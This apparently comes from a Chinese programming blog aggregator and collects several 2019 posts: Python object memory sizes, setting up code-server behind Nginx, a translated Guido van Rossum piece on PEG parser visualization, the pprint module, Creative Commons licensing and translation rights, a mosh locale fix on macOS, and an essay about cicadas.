  • 非均匀分配机制: 三类对象申请新内存的频率是不同的,而同一类对象每次超额分配的内存并不是均匀的,而是逐渐扩大的

3、列表不等于列表!

以上的可变对象在扩充时,有相似的分配机制,在动态扩容时可明显看出效果。
那么,静态创建的对象是否也有这样的分配机制呢?它跟动态扩容比,是否有所区别呢?
先看看集合与字典:
# 静态创建对象
set_1 = {1, 2, 3, 4}
set_2 = {1, 2, 3, 4, 5}
dict_1 = {'a':1, 'b':2, 'c':3, 'd':4, 'e':5}
dict_2 = {'a':1, 'b':2, 'c':3, 'd':4, 'e':5, 'f':6}

sys.getsizeof(set_1)  # 224
sys.getsizeof(set_2)  # 736
sys.getsizeof(dict_1) # 240
sys.getsizeof(dict_2) # 368
看到这个结果,再对比上一节的截图,可以看出:在元素个数相等时,静态创建的集合/字典所占的内存跟动态扩容时完全一样。
这个结论是否适用于列表对象呢?一起看看:
list_1 = ['a', 'b']
list_2 = ['a', 'b', 'c']
list_3 = ['a', 'b', 'c', 'd']
list_4 = ['a', 'b', 'c', 'd', 'e']

sys.getsizeof(list_1)  # 80
sys.getsizeof(list_2)  # 88
sys.getsizeof(list_3)  # 96
sys.getsizeof(list_4)  # 104
上一节的截图显示,列表在前 4 个元素时都占 96 字节,在 5 个元素时占 128 字节,与这里明显矛盾。
所以,这个秘密昭然若揭:在元素个数相等时,静态创建的列表所占的内存有可能小于动态扩容时的内存!
也就是说,这两种列表看似相同,实际却不同!列表不等于列表!

4、消减元素并不会释放内存!

前面提到了,扩充可变对象时,可能会申请新的内存。
那么,如果反过来缩减可变对象,减掉一些元素后,新申请的内存是否会自动回收掉呢?
import sys
a = [1, 2, 3, 4]
sys.getsizeof(a) # 初始值:96
a.append(5)      # 扩充后:[1, 2, 3, 4, 5]
sys.getsizeof(a) # 扩充后:128
a.pop()          # 缩减后:[1, 2, 3, 4]
sys.getsizeof(a) # 缩减后:128
如代码所示,列表在一扩一缩后,虽然回到了原样,但是所占用的内存空间可没有自动释放啊。其它的可变对象同理。
这就是 Python 的小秘密了,“胖子无法减重原理” :瘦子变胖容易,缩减身型也容易,但是体重减不掉,哈哈~~~

5、空字典不等于空字典!

使用 pop() 方法,只会缩减可变对象中的元素,但并不会释放已申请的内存空间。
还有个 clear() 方法,它会清空可变对象的所有元素,让我们试试看吧:
import sys
a = [1, 2, 3]
b = {1, 2, 3}
c = {'a':1, 'b':2, 'c':3}

sys.getsizeof(a) # 88
sys.getsizeof(b) # 224
sys.getsizeof(c) # 240

a.clear()        # 清空后:[]
b.clear()        # 清空后:set()
c.clear()        # 清空后:{},也即 dict()
调用 clear() 方法,我们就获得了几个空对象。
在第一小节里,它们的内存大小已经被查验过了。(前面说过会考的,请默写 回看下)
但是,如果这时再去查验的话,你会惊讶地发现,这些空对象的大小跟前面查的并不完全一样!
# 承接前面的清空操作:
sys.getsizeof(a) # 64
sys.getsizeof(b) # 224
sys.getsizeof(c) # 72
空列表与空元组的大小不变,然而空字典(72)竟然比前面的空字典(240)要小很多!
也就是说,列表与元组在清空元素后,回到起点不变初心,然而,字典这家伙却是“赔了夫人又折兵”,不仅把“吃”进去的全吐出来了,还把自己的老本给亏掉了!
字典的这个秘密藏得挺深的,说实话我也是刚刚获知,百思不得其解……
以上就是 Python 在分配内存时的几个小秘密啦,看完之后,你是否觉得涨见识了呢?
你想明白了几个呢,又产生了多少新的谜团呢?欢迎留言一起交流哦~
对于那些没有充分解释的小秘密,今后我们再慢慢揭秘……

August 31, 2019 12:00 AM

August 27, 2019

2heng

Visual Studio Code Remote Development

Visual Studio Code 是目前流行的编辑器之一,本质是一个基于 Electron 开发的桌面应用,这也限制了其在服务器端的应用。目前服务器端比较流行的是 vim 和 emacs 这类 Terminal 形态的编辑器(个人理解,我两个都没用过,nano 真香),而想利用 VS Code 远程开发,则需要在服务端安装 VS Code 和相应插件,例如官方的 Remote Development,以及开源项目 cdr/code-server

!{Demo}(https://view.moezx.cc/images/2019/10/28/code-server.png)
Visual Studio Code on Chrome

Intro

Visual Studio Code Remote Development 让你可以在容器中、远程设备上、甚至是 Windows 的 Linux 子系统(WSL)上使用具有完整功能的开发环境。你可以:

· 在与部署环境相同的操作系统下开发,或使用更强悍、更专业的硬件。
· 将开发环境沙盒化,以避免影响本地计算机配置。
· 使新贡献者易于上手,并使每个人都处于一致的环境中。
· 使用本地操作系统上不可用的工具或 runtime,亦或管理它们的多个版本。
· 使用 Windows Linux 子系统开发 Linux 应用程序。
· 从设备或位置访问现有的开发环境。
· 调试在其他位置(例如客户站点或云中)运行的应用程序。

整个远程开发体系的原理就是,把前端可视化部分剥离出来,在浏览器上运行,而后端仅处理 Terminal、Application、Debugger、文件读写等工作流,具体架构如图:

!{architecture}(https://view.moezx.cc/images/2019/10/28/architecture.png)

官方的 VSCode-remote 插件要求在本地安装 VSCode 和 remote 插件,通过 SSH 连接服务器上的 VSCode 服务端;而 coder.com 开源的服务器端——code-server——则可以直接在浏览器上访问 VSCode 的远程开发环境,这样一来,你可以在任何平台上使用 VSCode,甚至手机上。

[github repo="cdr/code-server"]

安装配置很简单,这里有三种方法:Docker、运行二进制发行版、自行编译。这里我选择的是使用发行版。

配置要求

A 64-bit host with at least 1GB RAM and 2 cores.

官方给的配置要求,不过我单核其实也没啥问题。但是 VS Code 挺占内存的(2G 的机器,大概占了我 1G 的内存)。平民 VPS 跑发行版应该问题不大,但是编译的话就别想了,内存肯定不够的。

安装 code-server

以 Ubuntu 18.04 为例:

下载安装并运行发行版,这里获取最新版

wget https://github.com/cdr/code-server/releases/download/2.1655-vsc1.39.2/code-server2.1655-vsc1.39.2-linux-x86_64.tar.gz
tar xvzf code-server2.1655-vsc1.39.2-linux-x86_64.tar.gz
cd code-server2.1650-vsc1.39.2-linux-x86_64
# 设置密码
export PASSWORD=123456
./code-server --auth password

之后服务器将运行在本地 8080 端口,可以使用 Nginx 反代 8080 端口,也可以用 code-server 的参数自定义 host、端口、证书路径、SSL、socket 等,具体可用 ./code-server --help 查看参数说明。

Nginx 配置(非必须)

code-server 可以自定义域名并支持 SSL,不过还是习惯了 Nginx。

server{
    listen 443 ssl;
    listen [::]:443 ssl;
    server_name code.moezx.cc;

    location / {   
        proxy_pass http://localhost:8080/;
        proxy_set_header Host $host;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection upgrade;
        proxy_set_header Accept-Encoding gzip;
    }
}

守护进程

创建 Systemd unit(请不要在 Windows 的文本编辑器上编辑以下文件,换行符不同可能导致 Linux 异常):

sudo nano /etc/systemd/system/code-server.service

添加下面的配置:

[Unit]
Description=Code Server IDE
After=network.target

[Service]
Type=simple
User=root
Restart=on-failure
RestartSec=10

Environment="PASSWORD=123456"

ExecStart=/path/to/code-server --auth password 

StandardOutput=file:/var/log/code-server-output.log
StandardError=file:/var/log/code-server-error.log

[Install]
WantedBy=multi-user.target

启动服务即可,今后开机将自动启动:

systemctl start code-server

The post Visual Studio Code Remote Development appeared first on 樱花庄的白猫.

by Mashiro at August 27, 2019 08:47 PM

pythoncat

Python 之父的解析器系列之四:可视化 PEG 解析

原题 | Visualizing PEG Parsing
作者 | Guido van Rossum(Python之父)
译者 | 豌豆花下猫(“Python猫”公众号作者)
声明 | 本翻译是出于交流学习的目的,基于 CC BY-NC-SA 4.0 授权协议。为便于阅读,内容略有改动。
上周我展示了一个简单的 PEG 解析器生成器。本周我将展示生成的解析器在解析程序时实际执行的操作。我深入研究了 ASCII 艺术的复古世界,特别是一个名为“curses”的库,它可以在 Linux 和 Mac 的 Python 标准库中找到,也可以作为 Windows 的附加组件。
【这是我的 PEG 系列的第 4 部分。见第1部分第2部分第3部分第5部分 】(译注:对应的译文,第1篇第2篇第3篇、第5篇待译 )
让我们来看看可视化已取得的进展。截图里的屏幕被分隔为三个部分,分别是简单的 ASCII 字符,以及用连字符划出的线:
  • 上部分显示了解析器的调用堆栈,你可能还记得它是一个具有无限回溯的递归下降解析器。我将在下面解释如何阅读它。
  • 中间的单行部分展示了标记符缓冲区的内容,光标指向下一个要解析的标记符。
  • 在底部,我们呈现 packrat 解析算法使用的记忆缓存。它的条目类似于一些解析器堆栈条目(具有结果的条目)。
阅读此图表时,要注意的主要事项是:顶部和底部部分的缩进线与标记符缓冲区相对应。(译注:最好看一下后面的 gif 动图,再往下看这部分内容。)
  • 前两行(以statementassignment 开头)表示尚未返回的解析方法调用,并且当标记位置处在第一个标记符(‘aap’ )之前时调用。
  • 接下来的两行(以exprterm 开头)与标记符'cat' 的开头垂直对齐,后者是调用相应解析方法的地方。
  • 堆栈部分所显示的第五行暨最后一行是一个expect('/') 调用,它返回 None 。它是在标记符'+' 处被调用的。
缓存部分的条目的缩进也对应着标记符缓冲区的位置。例如,在底部,我们看到有负数缓存条目(negative cache entries)在标记符缓冲区的开头查找标记符'if' 以及规则if_statement 。我们还发现标记符'='NAME (特别是'cat' )所成功缓存的条目,它们与将来的输入位置相对应。
在显示出来的解析器堆栈和缓存中,已返回的调用被显示成function(args) -> result 。有时解析器堆栈也会显示几个已返回的方法——我这样做是为了减少显示时的“跳跃性”。
(说到“跳跃”,顶部显示的解析器堆栈会在一个调用被添加到堆栈时,向上移动,而当从堆栈中弹出一个调用时,它则向下移动。似乎我们的眼睛跟随这样的动作不会有太大问题——至少我没有。这很可能因为我们大脑中有一块区域是用于跟踪移动的物体。:-)
缓存被可视化为一种 LRU 缓存,最近使用过的缓存条目位于顶部,较少使用的项目则向屏幕底部掉落。(我在之前的帖子中展示的 packrat 解析器原型不使用 LRU,但它可能是改善其内存使用的好策略。)
让我们看一下解析堆栈在显示时的更多一些细节。前四个条目对应于尚未返回的解析方法,每一行显示了语法中的一行。带下划线的条目会引起下一次调用。
在这种情况下,我们看到我们处于 statement 的第二种选择,也即 assignment,并且在该规则中我们处于第三项,即 expr。在 expr 规则中,我们只是在第一个可选项的第一个条目(term '+' expr );而在 term 规则中,我们处在最后的选项(atom)。
在那之后,我们看到导致第二个选项(atom '/' term )失败的结果:expect('/') - > None 用 ’+’ 标记符缩进。当我们将可视化向前移动时,我们会看到它沉入缓存中。
但当然了,你肯定宁愿自己看动画!我已经录制了示例程序的完整解析。你也可以自己玩代码,但请注意,这只是一个临时的黑科技。

gif图:https://raw.githubusercontent.com/gvanrossum/pegen/master/story3/tty.gif

示例代码:https://github.com/gvanrossum/pegen/tree/master/story3

当你在观看录制的GIF时,可能会感到有些迷惑,有时下一个标记符还未显示(例如,在最开始时,堆栈在标记符'aap' 被显示之前,就增长了几个条目)。
这正是解析器所看到的:标记符缓冲区被延迟地填充,并且在解析器通过调用 expect() 来请求它们之前,并不会扫描标记符。一旦标记符出现在缓冲区中,它就会保留在那里,即便在解析器回溯时也如此。
标记符缓冲区中的光标向左跳跃,显示了回溯过程;该动图中有很多次出现这种现象。你还可以在 gif 中观察到缓存填充,解析器在那不会进行额外的递归调用。(发现这种情况时,我应该加以强调,但我没时间了。)
下周我将进一步开发解析器,很可能会添加我对左递归语法规则的实现。(它们很棒!)
致谢:录制时所用的ttygif (Ilia Choly 开发) 和 ttyrec (Matthew Jording 开发)。
本文内容、示例代码和图片的授权协议:CC BY-NC-SA 4.0
作者简介: Guido van Rossum,Python 的创造者,一直是“终身仁慈独裁者”,直到 2018 年 7 月 12 日退位。目前,他是新的最高决策层的五位成员之一,依然活跃在社区中。本文出自他在 Medium 开博客所写的解析器系列,该系列仍在连载中,每周日更新。
译者简介: 豌豆花下猫,生于广东毕业于武大,现为苏漂程序员,有一些极客思维,也有一些人文情怀,有一些温度,还有一些态度。公众号:「Python猫」(python_cat)。

August 27, 2019 12:00 AM

August 25, 2019

pythoncat

如何美观地打印 Python 对象?这个标准库可以简单实现

前不久,我写了一篇文章回顾 Python 中 print 的发展历史 ,提到了两条发展线索:
  • 明线:早期的 print 语句带有 C 和 Shell 的影子,是个应用程序级的 statement,在最初十几年里,经历过 PEP-214 和 PEP-259 的改进;再到 2009 年的大版本 3.0,由语句改成了 print() 函数,还在 3.3 版本,做过一次功能增强,最终上升成为一等的内置函数。
  • 暗线:介绍了 print 的竞争对手们,像传统的日志模块 logging、调试模块 pdb、主流 IDE 的调试功能,以及后起之秀 PySnooper,它们瞄准着 print 的位置,摩拳擦掌,虎视眈眈。
本文依然跟 print 相关,想介绍的是标准库中的 pprint 模块。
pprint 是“pretty printer”的简写,“pretty”的含义是“漂亮的、美观的”,还有表示“相当地”的程度语气,因此它的含义便是:(相当)美观的打印。
这是个相当简单却有用的模块,主要用于打印复杂的数据结构对象,例如多层嵌套的列表、元组和字典等。
先看看 print() 打印的一个例子:
mylist = ["Beautiful is better than ugly.", "Explicit is better than implicit.", "Simple is better than complex.", "Complex is better than complicated."]

print(mylist)

# 结果如下:
['Beautiful is better than ugly.', 'Explicit is better than implicit.', 'Simple is better than complex.', 'Complex is better than complicated.']
这是一个简单的例子,全部打印在一行里。
想象一下,如果对象中的元素是多层嵌套的内容(例如复杂的 Json 数据),或者有超多的元素(例如在列表中存了很多 URL 链接),再打印出来会是怎样?
那肯定是一团糟的,不好阅读。
使用 pprint 模块的 pprint() 替代 print(),可以解决如下痛点:
  • 设置合适的行宽度,作适当的换行
  • 设置打印的缩进、层级,进行格式化打印
  • 判断对象中是否出现无限循环,并优化打印内容
1、简单使用
语法:pprint(object, stream=None, indent=1, width=80, depth=None, *,compact=False)
默认的行宽度参数为 80,当打印的字符(character)小于 80 时,pprint() 基本上等同于内置函数 print(),当字符超出时,它会作美化,进行格式化输出:
import pprint

# 打印上例的 mylist
pprint.pprint(mylist)

# 打印的元素是换行的(因为超出80字符):
['Beautiful is better than ugly.',
 'Explicit is better than implicit.',
 'Simple is better than complex.',
 'Complex is better than complicated.']
2、设置缩进为 4 个空格(默认为1)
pprint.pprint(mylist, indent=4)

[   'Beautiful is better than ugly.',
    'Explicit is better than implicit.',
    'Simple is better than complex.',
    'Complex is better than complicated.']
3、设置打印的行宽
mydict = {'students': [{'name':'Tom', 'age': 18},{'name':'Jerry', 'age': 19}]}

pprint.pprint(mydict)

# 未超长:
{'students': [{'age': 18, 'name': 'Tom'}, {'age': 19, 'name': 'Jerry'}]}

pprint.pprint(mydict, width=20)

# 超长1:
{'students': [{'age': 18,
               'name': 'Tom'},
              {'age': 19,
               'name': 'Jerry'}]}

pprint.pprint(mydict, width=70)

# 超长2:
{'students': [{'age': 18, 'name': 'Tom'},
              {'age': 19, 'name': 'Jerry'}]}
4、设置打印的层级(默认全打印)
newlist = [1, [2, [3, [4, [5]]]]]

pprint.pprint(newlist, depth=3)

# 超出的层级会用...表示
[1, [2, [3, [...]]]]
5、优化循环结构的打印
当列表或其它数据结构中出现循环引用时,要完整打印出所有内容是不可能的。
所以 print 作了简化处理,就像上例一样,只打印外层的壳,而不打印内层循环的东西。
这种处理方式是简化了,但没有指出是谁导致了循环,还容易看漏。
pprint() 方法作了改进,遇到无限循环结构时,会表示成<Recursion on typename with id=number> 的格式。
还有个 saferepr() 方法,也是这样优化,而且返回的是个字符串:
newlist = [1, 2]
newlist.insert(0, newlist)

# 列表元素指向列表自身,造成循环引用
# 直接 print 的结果是:[[...], 1, 2]

pprint.pprint(newlist)
# [<Recursion on list with id=1741283656456>, 1, 2]

pprint.saferepr(newlist)
# '[<Recursion on list with id=1741283656456>, 1, 2]'
6、判断是否出现循环结构
有两个方法可以判断一个对象中是否出现无限循环:
pprint.isrecursive(newlist)
# True

pprint.isreadable(newlist)
# False
isreadable() 除了能像 isrecursive() 一样判断循环,还能判断该格式化内容是否可被 eval() 重构。
以上就是 pprint 模块的快捷入门介绍,除此之外,还有 pformat() 方法、PrettyPrinter 类,以及某些参数的使用等内容,我觉得没有大用,就不多说了。
如若感兴趣,你可查阅:
最后,还有两个小小的点:
1、用 pprint() 替换 print() 的技巧
在不考虑 print() 函数本身的参数的情况下,可以在引入 pprint 模块后,写上 “print = pprint.pprint”,令 print() 起到改头换面的效果:
import pprint
print = pprint.pprint

mylist = ["Beautiful is better than ugly.", "Explicit is better than implicit.", "Simple is better than complex.", "Complex is better than complicated."]

print(mylist)

# 可对比本文开头的例子
['Beautiful is better than ugly.',
 'Explicit is better than implicit.',
 'Simple is better than complex.',
 'Complex is better than complicated.']
2、国人开发的 beeprint
国内某位 pan 同学在 Github 开源了个beeprint,明显是对标 pprint 的。
它优化了字典对象的打印,对于从其它语言转过来的同学而言(例如 Java),这是个福音:
它还优化了长文本的打印,支持自定义对象的打印,看起来不错。
但是,其它功能不够齐全,而且作者停止维护两年了,荒废已久……
总体而言,pprint 算是 print() 的轻量级替代,简单实用,极其方便(毕竟是标准库),文档丰富而有保障。
所以,若想要打印美观易读的数据,这个 pprint 标准库,不妨一试哦。

August 25, 2019 12:00 AM

August 22, 2019

pythoncat

从 Python 之父的对话聊起,关于知识产权、知识共享与文章翻译

一、缘起

前不久,我在翻译 Guido van Rossum(Python之父)的文章时,给他留言,申请非商业用途的翻译授权。
过程中起了点小误会,略去不表,最终的结果是:他的文章以CC BY-NC-SA 4.0 许可协议进行授权。部分对话如下:
CC 协议是一种授权许可协议,我曾看到过几次,但了解不多,所以便查阅了相关的内容。
本文主要是作个记录,既是加深自己的理解,也给有需要的同学一个参考。

二、著作权、著佐权与自由版权

对于知识产权,通常有如下几种说法:
  • All Rights Reserved(保留所有权利)
  • Some Rights Reserved(保留部分权利)
  • All Rights Reversed(撤销所有权利)
注意最后一条的“Reversed”,它长得很像“Reserved”,但意思截然相反。
它们对权利的诉求由强转弱,从一个极端走向另一个极端。
有几个与此相关的概念:
  • copyright,即版权、著作权
  • copyleft,即著作传、著佐权
  • copywrong,即反版权、自由版权
版权制度起源于十五世纪中期,那时西方发明了铅活字印刷术(古登堡,现代印刷术之父),出现了大量盗版,为了保护出版商的利益,政府出台了版权法。
此后版权法在世界各地普及,演化出了很多门类,它们普遍限定了一个有效期限,在此期限内,版权方受到垄断保护(即 All Rights Reserved )。超出期限后,知识作品才会进入公共领域(public domain),才变成自由版权。
copyright 是一种限制性协议,有利于保护版权方的个体权益,但是也阻碍了知识作品的传播,不利于社会的公共利益。
我们经常会听到一个词“专利流氓”,说的就是版权被过度使用而造成的社会问题。举个例子,某家商业公司竟然曾“拥有”国旗国徽的版权。
copyleft 则是一种较为宽松的协议,对应的思想是 Some Rights Reserved(保留部分权利),使用者只要遵守少数的列明条款即可。
copyleft 之所以会译作“著作 ”,因为有“减少屏蔽,自由流传 ”之义。
另外还翻译为“著权”,也是一字之差,跟英文原词神似,非常有趣。
最后还有一个 copywrong(还有类似的“copyfree”、“copycenter”叫法),它属于另一个极端,无视版权,无拘无束。
copyleft 与 copywrong 都是对 copyright 的某种矫正,只是矫正的力度不同,总体而言,它们的目的都是促进知识作品的传播,增进整体的社会利益。
在互联网时代,它们随处可见(可能不直接用这些叫法),极大地促进了自由软件与开源社区的发展。
上图中的 6 种主流的开源许可证,你应该有所耳闻吧,在我们免费使用的各种软件或代码库中,很可能就藏着它们的身影。
右侧的 3 种(BSD、MIT、Apache)属于宽松式许可证(permissive license),对使用者几乎没有限制,接近于极端的 All Rights Reversed(撤销所有权利)。
左侧的 3 种(LGPL、Mozilla、GPL)则属于 copyleft 许可证,仅保留了少数关键的权利,此外不予限制。

三、知识共享许可协议

经过一段简要的铺垫,几个概念算是讲清楚了,接着看 Python 之父在本文开头所提到的那种许可协议吧。
CC 也是 copyleft 的一种,全称为 Creative Commons license ,译作知识共享许可协议 ,发布于 2002.12.16,目前已发展到 4.0 版本。

官网地址:https://creativecommons.org/licenses

CC 协议是一个统称,它有不同的实指,区别在于所保留的权利不同。
它声明的基本权利有 4 种:
  • 署名(Attribution,简写 BY):注明原作者
  • 相同方式共享(ShareAlike,简写 SA):允许演绎,但需以相同许可协议发布
  • 非商业性使用(Noncommercial,简写 NC):不得用于商业目的
  • 禁止演绎(No Derivative Works,简写 ND):不得演绎,也作“非衍生”
(注:还有一些基本要求,例如,使用者不可添加法律条款或技术手段来限制别人的合理使用。限于篇幅,这些内容就不多介绍了,详见官网。)
按照是否保留某项权利,它们可以排出 16 种组合,其中 4 种因为同时包含“SA”与“ND”,互斥而无效,还有 5 种不要求署名,基本没人使用。
所以,只有 7 种常用的 CC 协议:
上图只列出了 6 种,还有 1 种特殊的是 CC0 协议,它不要求任何权利,是“No Rights Reserved”,无版权要求,属于自由版权。
这些协议被广泛用于各类互联网产品中(主要是网站、视频、图片或文章),例如:
  • CC0:Pexels图片、Unsplash图片、SoundCloud音乐
  • CC BY-SA:维基百科内容、Stack Overflow内容
  • CC BY-NC-ND:TED 演讲视频
  • CC BY-NC-SA:可汗学院视频、斯坦福公开课视频
很多个人网站或文章,基本采用了”CC BY-NC-ND”或者”CC BY-NC-SA”之一。Guido 最初给我回复的是 ND 这种,后来才澄清为 SA。
这几种权利中,BY(署名)是不言而喻的,也就是我们常见的“转载时请注明作者和出处”,体现了对于原作者的最起码的尊重。
另外的 3 种权利,值得再细细地辨析一下:
  • SA/ND,是否允许演绎。演绎包括“再混合、转换或基于该作品创作”,基本可概括为不允许改动原作品,而且不允许翻译(这点很关键)
  • NC,非商业用途。什么算是商业用途呢?官方笼统地概括为“出于商业利益或金融补偿”的用途,还说这取决于具体情况和使用者的意图

四、关于翻译的几个问题

本文缘起于翻译,快结束了,我再补充几个跟翻译相关的问题吧,并附上我的理解。

1、翻译别人的文章会导致侵权么?

翻译权是著作财产权的一种,属于著作人所有,它的基本含义是:著作权人享有自行翻译其作品和允许他人翻译其作品的权利。所以,未经作者授权或者许可的作品,就不要翻译了,翻译了也不应发布,否则就侵权了。

2、CC 协议下的作品可自由翻译么?

如果作者许可的是 ND,即禁止演绎,那么,该作品是不允许被翻译的;如果许可的是 SA,即是允许翻译,但注意需“以相同方式共享”,即翻译后的作品需支持他人继续作出演绎;其它情况,对翻译行为不作约束。

3、译者对翻译的作品拥有版权么?

根据我国《著作权法》第十二条所述:

改编、翻译、注释、整理已有作品而产生的作品,其著作权由改编、翻译、注释、整理人享有,但行使著作权时不得侵犯原作品的著作权。

即在不侵犯原作版权的前提下,翻译作品的版权归译者所有。

4、翻译的作品算是原创么?

从狭义的概念上看,翻译属于二次创作、属于衍生、其“灵魂”是由原作品所赋予的,所以不能算是原创。原创应指独立创作、全新发明,所以在此含义上看,翻译不算是原创。
但是,还有一种具体的情境,例如在公众号发文时标注的“原创”,此原创并非是要作概念上的区分,而是要保护作者的版权,防止文章被人侵权转载(甚至是被抢去标注原创),在此情境下,我认为可以标“原创”(有“翻译”标记就更好了)。
所以,综合来看,翻译作品不是原创,但在特殊情况下,又可以是“原创”。

5、如何理解非商业用途呢?

维基百科对于商业行为概括有 4 个要点:(1)以营利为目的(2)发生交易行为(3)出于双方自愿(4)符合法律规范
CC 协议所约定的 NC 条款,应参照如上解释。所以,基于 NC 条款许可的翻译作品,不应用于知识付费,也不应用于其它买卖交易,此外,一般而言, 捐助或者赞赏等行为都不算是商业用途,则不受此限制。

August 22, 2019 12:00 AM

August 19, 2019

chengweiyang

解决 MacBook 上 mosh 连接失败的问题

mosh 是一个非常不错的 ssh 软件,通过 ssh over udp 的方式,能够解决网络切换导致 ssh session 断开的问题,搭配 tmux 使用非常好用。

tmux 解决了远程工作 session 的持续性,重新 ssh 连接后,直接 attach 即可;而 mosh 则解决了重新连接的问题,mosh 能够做到在网络切换(例如:在工位上是有线网络,抱着笔记本去开会的时候,会连接到无线网络) 导致 ssh 断开连接的问题。

mosh 的使用这里不再介绍,非常简单,远程和本地都安装 mosh 这个包即可。

这里讲一下在 mac 上实际遇到一个问题,mac 上连接远程的时候,mosh 报错,连不上。打印的输出如下:

The locale requested by LC_CTYPE=UTF-8 isn't available here.
Running `locale-gen UTF-8' may be necessary.

The locale requested by LC_CTYPE=UTF-8 isn't available here.
Running `locale-gen UTF-8' may be necessary.

mosh-server needs a UTF-8 native locale to run.

Unfortunately, the local environment (LC_CTYPE=UTF-8) specifies
the character set "US-ASCII",

The client-supplied environment (LC_CTYPE=UTF-8) specifies
the character set "US-ASCII".

locale: Cannot set LC_CTYPE to default locale: No such file or directory
locale: Cannot set LC_ALL to default locale: No such file or directory
...
省略
...

上面这个问题咋一看会忽略,因为通常 locale 问题都不是问题,但是这里确实关键;上面的错误提示当前 locale 的 LC_CTYPE 不满足需求,所以用 locale 命令查看一下:

LANG="en_US.UTF-8"
LC_COLLATE="en_US.UTF-8"
LC_CTYPE="UTF-8"
LC_MESSAGES="en_US.UTF-8"
LC_MONETARY="en_US.UTF-8"
LC_NUMERIC="en_US.UTF-8"
LC_TIME="en_US.UTF-8"
LC_ALL=

可以看到,LC_CTYPE 的值是 UTF-8,也就是只有字符集,没有设置语言,也就是常见的 zh_CN, en_US 这种。

这里一个是在终端直接导出:

export LC_CTYPE="en_US.UTF-8"

或者可以配置 iTerm2 的属性,在 Preferences -> Advanced 里搜索 LC_CTYPE,然后将默认的 value 修改为 en_US.UTF-8 即可。

然后,新开启 iTerm2 console,mosh 就能正常连接了。

August 19, 2019 04:00 PM

August 15, 2019

pythoncat

(一)
夏季的晴天里,蝉群在远远的地方发着声。
声音就是我们知道的蝉的声音,具有辨识度,不会搞错。
可是,我有时候也会产生怀疑:到底是不是蝉呢?毕竟我没有亲眼看到它们啊。
姑且说服自己吧,那肯定是蝉。
但是,新的好奇又被激发了:那些蝉长得什么样子呢?
大概十几年了,我没有亲眼看见过一只蝉。
从一座城市到另一座城市,从一个季节到下一个季节。
似乎有太多的事物需要分散注意力了,所以每年当这种小小的昆虫短暂现身时,我们从未打过照面。
我总是被它们的鸣叫声吸引,也常常想要亲近它们,然而每次在树底下仰望时,却从没有什么收获。
更多时候,人还远远没接近呢,树冠中机敏的蝉就静默了,仿佛所有试图接近的人影和声源,都被它们检测出了危险的讯息。
这些蝉真谨慎啊!
也许跟生活区域有关吧。
来苏州已有近五年了,我们住在不同的小区里,但不靠山也不近林,或许小区里稀少的天然绿化就是造成蝉种单一、蝉性谨慎的原因。
小区内虽然有不少绿植,但极少有蝉踪。小区外的街道旁有成片的树木,那些地方才是蝉类的主要活动场所。
生活区附近的大部分树木都像是移植的,未经水泥或砖块覆盖的地表并不多,没有多少地方适宜蝉发育和繁衍。
我怀疑现在听到的大部分蝉,都是移民来的吧。
它们从某一处故乡上路,顺着路边的绿化带,向东飞,向北飞,飞到这一带时飞倦了,就停下翅,呼朋引伴,打起了成家生育后代的主意。
(二)
前不久的某个傍晚时分,我偶然在公司楼下的一棵树上,发现了几个干枯的蝉壳,爬在低矮的树干上,干黄显著。
童年时与蝉打交道的一幕幕记忆突然变得活跃起来,那时候,我不仅经常能看到蝉,而且还在捕蝉中体会过无穷的乐趣。
傍晚时分出门,带着一把可能与我同龄的旧式手电筒,来到屋侧的领居家门前的树下,一圈一圈地照着,一棵一棵树地留意着。
蝉的幼虫总是趁着夜幕偷偷钻出土,爬到一人或两人高的树干上,再脱壳变身。这种时候就是捉(准确地说是捡)它们的极好时机。
蝉的一生很奇特,幼虫生活在土壤里,可能会花上几年才长成型。
等软弱的蛹虫长出坚硬的外壳,就破土上树,脱壳蜕变,最后成虫只能活上半个月左右,便全部死亡(某些品种可能会长或短些)。
它的破壳仪式是那般神圣,连接起漫长的蛰伏期与短暂的活动期,见证着陆地的爬虫变成天空的飞虫。
童年时的我本能地对这产生了兴趣。
我和弟弟们把捡回来的蝉虫放在摆电视的桌子上,一边看电视,一边看它们,等待着破壳的时刻。
我记得看见了蝉壳拱起的背部上裂了一道缝,再等好久,那道缝几乎没有变化,等到夜深电视剧播完了,等到自己太困先去睡了。没有一次成功地目睹过它的蜕变。
我们把蝉虫钩在白白的蚊帐上,在光滑的竹席上满怀憧憬地睡着了。
可是第二天基本上都是坏消息:僵死的蝉虫没有成功脱壳,仍挂在蚊帐上或者掉落在床脚下;好像有一只活着可是没抓住,它扑腾着沿着床边掉出蚊帐外,最后飞出门口不见了踪影;有幸抓住了活的,一看却是只哑巴(雌性,不会叫)。
想要观察破壳的兴趣似乎并不持久,我们更多的乐趣在于捕捉那些树上的蝉。
怎么捉呢?我们会制作工具。
我们去找了一根两三米长的细竹竿,再找一段合适的竹篾,围成巴掌大的气球圆插在竹竿的末端上。那时候好像总是不缺竹竿和竹篾,也不记得是什么缘故,所以这两样东西准备得并不难。
最后还有一样东西是最关键的。记得最早的时候,不知道是谁告诉的方法,我们会带着竹竿去找好多蜘蛛网,然后用竹竿上的竹篾去卷它们,弄出来两面黏黏的网。
这样造出来的工具,捕蝉时很好用,悄悄贴近蝉的时候,它们基本不会反应过来,一旦拍上了,就能把蝉的翅膀粘上。
不过也有例外,碰上有的蝉折腾太厉害,蜘蛛网就会被挣破。或者使用得久了粘了树干上的脏东西,它也就不好用了。
后来,我们才懂得,可以在竹篾上套塑料袋,这样就没有破网或者黏性失效的问题了。
而使用塑料袋也有学问——最好找浅色的塑料袋,这样不易被觉察,最好找口袋深一点的,这样当蝉落袋时不容易飞跑,但又不能过于臃肿,免得被卡在树杈上。
有了竹竿的辅助,我们还很难够得着蝉,所以爬树常常是必需的。
我会爬到树上,循着声音搜索那披着伪装色的蝉,而弟弟就守在树底下,拿着个扎了透气孔的矿泉水瓶,等着装猎物。
蝉那长长的羽翼,从侧面看是透明的薄纱,闪着阳光,跟灰褐色的树皮反差很大,因此并不难找。
有的蝉叫得忘乎所以,一抓一个准,还有的则十分狡猾,看似毫无防备,可在网兜快贴近的时候,它倏忽收声,扑索一下,就飞逃走了——还有更可恶的,它会在逃走的时候,射出一泡尿来,令人猝不及防。
在住宅附近的蝉,身上有浅浅的白色条纹,雄的约有一根大拇指般大小,身下装备着两扇叶绿色的共振片,雌的要小一圈,翘着尖尖的屁股。
雌蝉尾部可以伸出一种长长的东西,仿佛某些蝴蝶吸取花蜜时探出的舌头。
